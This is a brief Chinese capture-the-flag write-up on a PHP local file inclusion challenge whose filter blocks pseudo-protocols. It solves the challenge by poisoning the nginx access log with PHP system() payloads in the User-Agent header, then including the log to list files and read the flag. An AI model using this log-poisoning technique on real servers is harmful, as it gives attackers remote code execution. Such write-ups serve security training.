信息收集
新增过滤:
,伪协议都有:
,这意味着伪协议不能用了
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
解题
还是照抄上题的日志包含
?file=/var/log/nginx/access.log
user-agent里写上
<?php system('ls'); ?>
<?php system('tac fl0g.php'); ?>
可以使用一些符号分隔一下,这样可能会好看一点